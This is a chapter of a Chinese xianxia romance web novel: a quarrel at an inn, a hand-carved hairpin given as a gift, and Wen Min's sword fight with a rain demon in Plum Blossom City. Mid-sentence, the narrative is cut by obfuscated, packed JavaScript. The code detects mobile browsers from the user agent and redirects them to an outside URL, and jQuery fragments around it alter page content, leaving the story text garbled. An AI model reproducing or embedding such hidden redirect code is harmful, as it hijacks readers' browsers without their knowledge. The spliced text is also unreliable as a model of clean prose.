此时天边已经微微泛起了白光。众人寻了一家客栈暂作休整,待其余人都回来后再做对策。
不多时,与梨纠分头行动的倪乐宣也在接到梨纠传音后赶回客栈与她会合了。
梨纠问:“如何?”
倪乐宣摇头,表示一无所获。
意料之中。
梨纠看向窗外渐白的天际,湛蓝瞳底再没有别的情绪表露。
倪乐宣看了看那空茫的天,又看了看梨纠,没有问她在想什么,悄然退出了房间。
倪乐宣知道她定不是在想梅花城三妖的之事。圣女的心思,从来不是她能轻易窥透的。她自诩与梨纠相伴长大,算是为数不多比较了解她的人,但大多数时候也只是窥见冰山一角。
梨纠还未出生时,便被天界往上的离恨天的太巳真人预兆为不祥。
梨纠,离纠。离则散,纠则合。纵被示为不祥,她仍承载着众神厚重的期许。这圣女之位,从来都不是因为她是天君之女就理所应当得来的,是她凭本事坐上的。
她用百岁飞升堵住任何对她有看法的嘴碎之人,用实力让众仙不得不臣服于她。
——
许是因袭女被重创之故,梅花城一连数日风平浪静。
棋雪被闻悯带回客栈后倒头就睡了。她尚未辟谷,需要正常的吃饭睡觉才能维持生命。
这点当然也被倪乐宣抓住机会,话里话外暗嘲讽了一番。别说是神了,就算是一境小仙,也很少见有需要进食补寝的。
棋雪只觉莫名,不明白这有什么值得说的,“你知道你为什么升不了神吗?”
倪乐宣冷嗤:“我成神与否,与你无关,但你为何成不了仙,肯定是因为你是那血脉低贱的妖族。”
棋雪是鲛族人,自然是离妖更近些。
棋雪没忍住翻了个白眼:“翻来覆去只会拿血脉说事。我还没说你一脸刻薄相,天生没有神格呢。”
倪乐宣:“你说谁刻薄样!”
棋雪:“谁和我说话就是谁呗。”
倪乐宣手中骨鞭一甩,客栈的木质地板应声破开一洞:“别以为有太子殿下在我就不敢动你!”
棋雪往旁边一闪,双手捧脸,一副害怕受惊的模样:“我去,君子动口不动手——闻悯仙君救我!”
闻悯刚才从外面回来,方推开门就被棋雪拉住手臂推至身前。他就势护住她,先确认了她未曾被鞭风扫到,才看向倪乐宣与地板上那窟窿,心下已明了七八分。
“乐宣,给棋雪道歉。”
“就不!”倪乐宣摔门而去,“砰”然巨响在廊间回荡。
闻悯微动臂膀,示意棋雪先松手。
棋雪一下子放开他,脸上哪还有方才的半分害怕神色。
“说吧。”闻悯语气平静,“此番又是因何又和她起了争执?”
棋雪道:“她嘲笑我要吃饭睡觉。”
闻悯颔首,又问:“可还有别的?”以他对棋雪的了解,她尚不至于因为这个和倪乐宣生气。
棋雪闷声道:“她还说我是低贱的妖。”
闻悯面色沉下几分。他没想到倪乐宣作为公主,会失礼到这种地步,这已经不是性格娇纵的问题了。
他垂眸看向棋雪,认真道:“你从不低贱,也没行过天道不容之事,无论何是种血脉出身,都不是她轻侮你的理由。”
“鲛族虽是半妖,但历来隶属仙族辖下。等处理完梅花城,我会亲自去一趟蓬莱向岛主问责。倪乐宣这般心性都是他们纵出来的,该送去楚瑟神官处修习数月礼度。”
楚瑟乃天司礼神官,梨纠与闻悯少时皆由她教导。
棋雪仍然气闷道:“说我就算了,但是偶像也是妖族...在我眼里她连偶像一根头发丝也比不上!”
闻悯不知她对竹司夷这般深厚的钦慕从何而起,连天君都曾私下问过他棋雪和竹司夷是何关系。
“嗯。”
“仙君,你都不知道刚才她的表情有多恐怖,像要把我生吐活剥了一样,还好我八字强,要不然得烧几天。”
“嗯。”
“我想找偶像。”
“......不可。”
棋雪噘嘴望向楼上:“为何不可?”
闻悯扶额道:“你现在去,可能会打扰到他们。”
他们?棋雪下意识想问还有谁,恍然想起了奚柏影。她看向闻悯,对方几不可察地点了点头。
彼时三楼厢房内。
竹司夷长发披散,坐于妆镜前,透过镜面望着身后奚柏影略显笨拙地为自己绾发。
见他第二次将簪子松松插入发间又滑出,扭头问道:“你到底会不会?”
奚柏影小心翼翼将簪子重新插入,耳根微热,有些尴尬:“会的,青青你先别动。”
竹司夷转回脸,再次耐心等着。
今日大早,她刚睡醒,奚柏影就掐着点来敲响了她的门。
————“我见梅花城女子多梳此鬓,入乡随俗...要不我也给青青挽一个吧。”
许是怕扯痛她,他手下力道极轻,那发髻便始终松松垮垮,难以成型。就这样,奚柏影玩她的头发玩了近半柱香,到现在都没成型。
竹司夷本也不指望他能绾出什么花样来。是因为这两日见他总是一副有什么要瞒着她的样子,说话支支吾吾的,话到嘴边又说些不相干的。
她主动道:“换一个吧,下次再试这个。”
奚柏影拿发簪的手顿了顿,颇有自知之明,知道自己今天可能挽不成,便顺着竹司夷给的台阶下了。
“诶,那我回去再好好练练...下回一定给青青绾成。”
竹司夷:“嗯。简单点的就好。”
毕竟复杂的奚柏影也不会。
奚柏影从怀里取出了今早特意带过来的发簪,用之前给竹司夷看了下,问道:“这个是自上元节后,我亲手打造的簪子,青青觉得好看吗?”
那是一支形制清雅的骨簪,簪首雕有一簇和扇子上一样的玉茗花,竹司夷眉梢微挑:“这簪子的材质……”
奚柏影给她绾了个半束起高马尾,笑道:“不是什么贵重的原料,只是想着青青簪饰繁多,恐赠重复了,特意挑了这个你应该没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17031906|190236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有过的,青青不嫌弃就好。”
竹司夷望着镜中倒影:“嫌弃倒说不上。奚郎有心了,我很喜欢。”
上元节那回她本已提前说明,让他不必费这个心思,没想到奚柏影还是偷偷给她亲手制了一支。竹司夷嘴上说不要,奚柏影真送了,心里到底还是有些高兴的。
不知不觉间,那些曾经某些让她百思难解的东西,现在也隐隐有了答案。
......
入夜,梅花城落了雨。
敛去神息伪装为凡人的闻悯在望归桥边遇到了独自出行的雨女。
她撑着一把油纸伞,立在桥的另一头,声音在雨声里显得格外轻弱:“这位公子可是未带伞?夜深路滑,奴家就住在附近。不若先随我家去稍坐,再将伞借与公子...公子觉得如何?”
闻悯站在一户人家檐下等棋雪,好巧不巧遇上了目标。
“好。”
雨女掩唇轻笑,执伞袅袅行来。她曳地的黑色纱裙滴水不沾,身上有一股类似于潮湿的味道。
她打量闻悯一眼,而后面带羞色别开脸,“公子瞧着面生,可是谁家外来的远亲,奴家竟从未见过。”
闻悯轻咳一声道:“来了好些日子了,不大出过门。”
雨女将伞稍倾向他,轻声细语:“这伞有些小,公子与奴家挨近些罢,沾了雨容易染上风寒。”
闻悯道:“无妨。”
雨女别有意味看了眼闻悯的侧脸,“公子可是....嫌弃奴家?”
闻悯正欲回答,棋雪也撑着把红伞回来找闻悯了,见到雨女的时候脑子一下子没反应过来,瞪大着眼睛定定看着他们。
闻悯看着发呆的棋雪,暗叹一息,在雨女察觉之前,佩剑已出鞘先发。
袭女将手中伞一挥,与闻悯拉开距离。她算是知道了这个卑鄙的天界神官在等自己,有了袭女的车前之鉴,当即便想撤离。
闻悯岂会给她机会。身为武神的他剑下斩死过无数妖魔鬼怪,与冰冷无情道的梨纠不同,每一出剑中蕴含着能震慑雨女的威压。
雨女被一剑击飞摔在墙壁上滑落在地,嘴角溢出的鲜血被她用舌尖舔了回去。撑着伞站起,楚楚可怜道:“奴家对公子一番情意,公子可是为了她,才处处对奴家下这么重的手。”
被无故点名的棋雪正远远观战,嘴里还不时叫好。这还是她第一次见闻悯用剑,没想到平日里看着平日温文尔雅的他耍起剑来这么帅。
闻悯一道剑气挥过:“不必惺惺作态。”
雨女突然在雨中爆出尖锐哭声,无数鬼手从地里钻出。触及她周身浮现金色咒文的结界,鬼手猛地缩回,嘶嘶作响。
棋雪退一步,结界便随她移一寸。
闻悯将剑举起,引下数道天雷。地上的鬼手被劈得尽数溃散。雨女趁着闻悯此时没留意自己,丢出手中纸伞。
纸伞在原地飞旋了几个圈,带着雨女凭空消失了。
棋雪着急问道:“不追上去吗?”
“让她走。”闻悯收剑,“我在她身上留了一抹神识,可以随时探到她的行踪。”